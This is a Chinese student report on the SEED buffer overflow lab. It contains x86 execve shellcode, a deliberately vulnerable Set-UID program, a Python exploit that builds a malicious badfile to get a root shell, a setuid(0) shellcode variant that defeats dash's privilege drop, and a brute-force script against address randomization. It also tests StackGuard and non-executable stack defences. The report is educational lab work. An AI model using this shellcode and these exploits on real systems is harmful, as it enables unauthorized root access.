

实验 2 缓冲区溢出漏洞实验

57118109 徐一鸣

Task 1: Running Shellcode

shellcode 是启动 shell 的代码，它必须被加载到内存中，这样才能迫使要攻击的程序跳到它上面。下面 call_shellcode.c 程序展示了如何通过执行存储在缓冲区中的 shellcode 来启动 shell:

```
/*call_shellcode.c*/
/*A program that launches a shell using shellcode*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[]=
"\x31\xc0"
"\x50"
"\x68" "//sh"
"\x68" "/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf,code);
    ((void(*)())buf)();
}
```

上面的 shellcode 调用 `execve()` 系统调用来执行 `/bin/sh`。这个 shellcode 中有一些值得注意的地方:

首先，第三条指令将 `//sh` 而不是 `/sh` 推入堆栈。这是因为在这里需要一个 32 位的数字，而 `/sh` 只有 24 位。幸运的是，`//` 等同于 `/`，所以可以使用双斜杠符号。

其次，在调用 `execve()` 系统调用之前，需要将 `name[0]` (字符串的地址)、`name` (数组的地址) 和 `NULL` 分别存储到 `%ebx`、`%ecx` 和 `%edx` 寄存器。第 5 行存储 `name[0]` 到 `%ebx`; 第 8 行将 `name` 存储为 `%ecx`; 第 9 行将 `%edx` 设置为 0。还有其它方法可以将 `%edx` 设置为零 (例如，`xorl %edx, %edx`); 这里使用的 `one (cdq)` 只是一条更短的指令: 它将 `EAX` 寄存器 (此时为 0) 中值的符号 (第 31 位) 复制到 `EDX` 寄存器的每个位位置，基本上将 `%EDX` 设置为 0。

最后，当将 `%al` 设置为 11 时，调用系统调用 `execve()`，并执行 `int $0x80`。每行机器码即其对应的作用、参数如下图所示:

```

const char code[] =
    "\x31\xc0"    /* xorl    %eax,%eax    */ ← %eax = 0 (avoid 0 in code)
    "\x50"        /* pushl   %eax         */ ← set end of string "/bin/sh"
    "\x68"        /* pushl   $0x68732f2f   */
    "\x68"        /* pushl   $0x6e69622f   */
    "\x89\xe3"    /* movl    %esp,%ebx    */ ← set %ebx
    "\x50"        /* pushl   %eax         */
    "\x53"        /* pushl   %ebx         */
    "\x89\xe1"    /* movl    %esp,%ecx    */ ← set %ecx
    "\x99"        /* cdq     %eax         */ ← set %edx
    "\xb0\x0b"    /* movb    $0x0b,%al    */ ← set %eax
    "\xcd\x80"    /* int     $0x80        */ ← invoke execve()
;

```

使用以下 gcc 命令编译上面 call_shellcode.c 的程序, 不能忘记使用 execstack, 它允许从堆栈执行代码, 没有 execstack 程序将失败, 编译成功, 即已启动 shellcode:

```

[09/04/20]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/04/20]seed@VM:~$ █

```

以下程序 stack.c 在 strcpy(buffer, str) 存在一个缓冲区溢出漏洞 (改变 BUF_SIZE 将改变堆栈的布局, 教师可以每年改变这个值, 这样学生就不能使用过去的解决方案, 建议值 0 到 400 之间):

```

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifdef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    /*the following atatement has a buffer overflow problem*/
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    /*change the size of the dummy array to randomize the parameters for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE];
    memset(dummy, 0, BUF_SIZE);
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

```

上述程序具有缓冲区溢出漏洞, 它首先从一个名为 badfile 的文件中读取输入, 然后将该输入传递到 bof() 函数中的另一个缓冲区。原始输入的最大长度可以是 517 字节, 但是 bof() 中的缓冲区只有 BUF_SIZE 字节长, 小于 517。因为 strcpy() 不检查边界, 所以会发生缓冲区溢出。由于这个程序是 root 拥有的 Set-UID 程序, 如果普通用户利用这个缓冲区溢出漏洞可能能够获得一个 root shell, 程序从一个名为 badfile 的文件中获取输入, 此文件由用户控制。现在, 的目标是为 badfile 创建内容, 这样当被攻击的程序将内容复制到它

的缓冲区时，就可以生成一个 root shell。

要编译上述易受攻击的程序，要使用 `-fno-stack-protector` 和 `-z execstack` 关闭 StackGuard 和 non-executable stack protections，然后使程序成为 root 的 Set-UID 程序。需要注意的是，更改所有权必须在打开 Set-UID 位之前完成，因为更改所有权将导致关闭 Set-UID 位：

```
[09/05/20]seed@VM:~$ gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
[09/05/20]seed@VM:~$ sudo chown root stack
[09/05/20]seed@VM:~$ sudo chmod 4755 stack
[09/05/20]seed@VM:~$
```

利用 gbd（相当于 debug）找到 buffer 到 ebp 的位置：

```
[09/05/20]seed@VM:~$ gcc -z execstack -fno-stack-protector -g -o stack stack.c
[09/05/20]seed@VM:~$ touch badfile
[09/05/20]seed@VM:~$ gdb stack
```

首先利用 b 在 bof 函数设置断点，并利用 run 编译：

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 14.
gdb-peda$ run
Starting program: /home/seed/stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[-----registers-----]
EAX: 0xbfffea67 --> 0x464c457f
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x205
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
```

再利用 p 找到 ebp 和 buffer 地址，相减得从 buffer 开始 32 字节可以得到 overwrite return address 的位置：

```
gdb-peda$ p $ebp
$4 = (void *) 0xbfffea28
gdb-peda$ p &buffer
$5 = (char (*)[24]) 0xbfffea08
gdb-peda$ p/d 0xbfffea28-0xbfffea08
$6 = 32
gdb-peda$
```

Task 2: Exploiting the Vulnerability

将 BUF_SIZE 改为 12，以下是 exploit 的 python 代码 exploit.py，这段代码的目标是为 badfile 构造内容，其中 `ret = $ebp+120`，`offset = $ebp-&buffer+4`，完整代码如所示：

```
#!/usr/bin/python3

import sys

shellcode=(
"\x31\xc0"
"\x50"
"\x68" "//sh"
"\x68" "/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')

content = bytearray(0x90 for i in range(517))

start=517-len(shellcode)
content[start:]=shellcode

ret=0xbfffea38+120
offset=24

content[offset:offset+4]=(ret).to_bytes(4,byteorder='little')

with open('badfile','wb') as f:
    f.write(content)
```

编译并运行这个程序，这将生成 badfile 的内容，然后运行易受攻击程序堆栈，发现得到 root shell，进入了特权模式，漏洞被正确实现：

```
[09/05/20]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protecto
r stack.c
[09/05/20]seed@VM:~$ sudo chown root stack
[09/05/20]seed@VM:~$ sudo chmod 4755 stack
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
# █
```

Task 3: Defeating dash' s Countermeasure

正如之前解释过的，当检测到有效的 UID 不等于真实的 UID 时，Ubuntu 16.04 中的 dash shell 会删除特权。这可以从 dash 程序的更改日志中观察到，可以在 if 行看到一个额外的检查，比较实际和有效的 user/group IDs：


```
// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:

++ uid = getuid();
++ gid = getgid();

++ /*
++  * To limit bogus system(3) or popen(3) calls in setuid binaries,
++  * require -p flag to work in this situation.
++  */
++ if (!pflag && (uid != geteuid() || gid != getegid())) { ①
++     setuid(uid);
++     setgid(gid);
++     /* PSl might need to be changed accordingly. */
++     choose_psl();
++ }
```

dash 实施的对策是可以克服的，一种方法是不调用 shell 代码中的/bin/sh，调用另一个 shell 程序。这种方法需要另一个 shell 程序，比如 zsh。另一种方法是在调用 dash 程序之前将受害进程的真实用户 ID 更改为零，可以通过在 shell 代码中执行 `execve()` 之前调用 `setuid(0)` 来实现这一点。在本任务中，使用这种方法。首先修改/bin/sh 符号链接，使其指向/bin/dash:

```
[09/05/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[09/05/20]seed@VM:~$
```

为了了解 dash 中的对策是如何工作的，以及如何使用系统调用 `setuid(0)` 来击败它，使用以下 `dash_shell_test.c` 程序，首先注释掉图中内容并将程序设为 Set-UID 程序(用户应该 root)，发现进入普通用户模式：

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    char *argv[2];
    argv[0]="/bin/sh";
    argv[1]=NULL;

    //setuid(0);
    execve("/bin/sh",argv,NULL);

    return 0;
}
```

```
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
$
```

然后取消注释并再次运行程序，发现进入特权模式：

```

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    char *argv[2];
    argv[0]="/bin/sh";
    argv[1]=NULL;

    setuid(0);
    execve("/bin/sh",argv,NULL);

    return 0;
}

```

```

[09/05/20]seed@VM:~$ gedit dash_shell_test.c
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
# █

```

从上面的实验中可以看到 `seuid(0)` 的作用，在调用 `execve()` 之前，在 shell 代码的开头添加调用此系统调用的汇编代码：

```

#!/usr/bin/python3

import sys

shellcode=(
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
#The code below is the same as the one in Task2
"\x31\xc0"
"\x50"
"\x68" "//sh"
"\x68" "/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')

```

更新后的 shell 代码添加了 4 条指令：

- (1) 在第 2 行中将 `ebx` 设置为 0
- (2) 通过第 1 行和第 3 行将 `eax` 设置为 0xd5 (0xd5 是 `setuid()` 的系统调用号)
- (3) 在第 4 行执行系统调用。

使用这个 shell 代码，当 `/bin/sh` 链接到 `/bin/dash` 时，可以尝试攻击易受攻击的程序，使用上面的 shell 代码修改 `utilization.py`，再次尝试 Task2 中的攻击，发现进入了特权模式：

```

[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./exploit
[09/05/20]seed@VM:~$ ./stack
# █

```

Task4 Defeating Address Randomization

在 32 位的 Linux 机器上，堆栈只有 19 位的熵，这意味着堆栈基址有 $2^{19} = 524288$ 种可能，这个数字并没有那么高，可以用蛮力轻易地消耗掉。首先，使用下面的命令打开 Ubuntu 的地址随机化：

```
[09/05/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$
```

然后使用蛮力反复攻击易受攻击的程序，希望放入 badfile 的地址最终可以是正确的。使用下面的 shell 脚本在无限循环中运行易受攻击程序。如果攻击成功，脚本将停止，否则将继续运行：

```
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
do
    value=$((value+1))
    duration=$SECONDS
    min=$((duration/60))
    sec=$((duration%60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The programe has been running $value times so far."
    ./stack
done
```

开启地址随机化后，循环了 57s，执行了 23420 次后命中地址，进入特权模式：

```
0 minutes and 57 seconds elapsed.
The programe has been running 23413 times so far.
./attack.py: line 15: 18840 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23414 times so far.
./attack.py: line 15: 18841 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23415 times so far.
./attack.py: line 15: 18842 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23416 times so far.
./attack.py: line 15: 18843 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23417 times so far.
./attack.py: line 15: 18844 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23418 times so far.
./attack.py: line 15: 18845 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23419 times so far.
./attack.py: line 15: 18846 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23420 times so far.
#
```


Task 5: Turn on the StackGuard Protection

在执行此任务之前，先关闭地址随机化，否则将不知道哪个保护有助于实现该保护，在前面的任务中，在编译程序时禁用了 GCC 中的 StackGuard 保护机制，在此任务中，可以考虑在 StackGuard 出现时重复 Task2，因此应该在编译程序时不使用 `-fno-stack-protector`。此任务重新编译易受攻击的程序堆栈，并使用 GCC StackGuard，再次执行 Task2：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ sudo gcc -g -z execstack -o stack stack.c
[09/05/20]seed@VM:~$ sudo su
root@VM:/home/seed# chmod u+s stack
root@VM:/home/seed# exit
exit
[09/05/20]seed@VM:~$ ./exploit
[09/05/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[09/05/20]seed@VM:~$ █
```

发现再次运行 task2 就不会进入特权模式，而是出现了缓冲区溢出错误。

Task 6: Turn on the Non-executable Stack Protection

在执行此任务之前，要先关闭地址随机化，否则将不知道哪个保护有助于实现该保护。在前面的任务中，有意使堆栈可执行。在这个任务中，使用 `noexecstack` 重新编译的易受攻击程序，并在 Task2 中重复攻击：

```
[09/05/20]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[09/05/20]seed@VM:~$ ./exploit
[09/05/20]seed@VM:~$ ./stack
Segmentation fault
[09/05/20]seed@VM:~$ █
```

发现不能得到 shell，而是显示 Segmentation fault，通过减小代码段的虚拟地址来划分数据段和代码段，对缓冲区溢出攻击产生一个 `noexecstack`。

实验感想：

本次实验中学会了关闭防御机制，通过缓冲区漏洞攻击易受攻击的程序，并由此获得 root 权限，本次实验在 Task4 处遇到了一些问题：在进行循环前没有对 stack 进行重新配置，将其转变为 root 下的 Set-UID 程序，从而导致循环了近一个小时都没有结果。在 Task2 中 buffer 一直提示 return properly，没有实验溢出，将 BUFFER_SIZE 改小后解决了该问题。在实验遭遇瓶颈时，重新理清思路、重新配置更有利于高效地解决问题。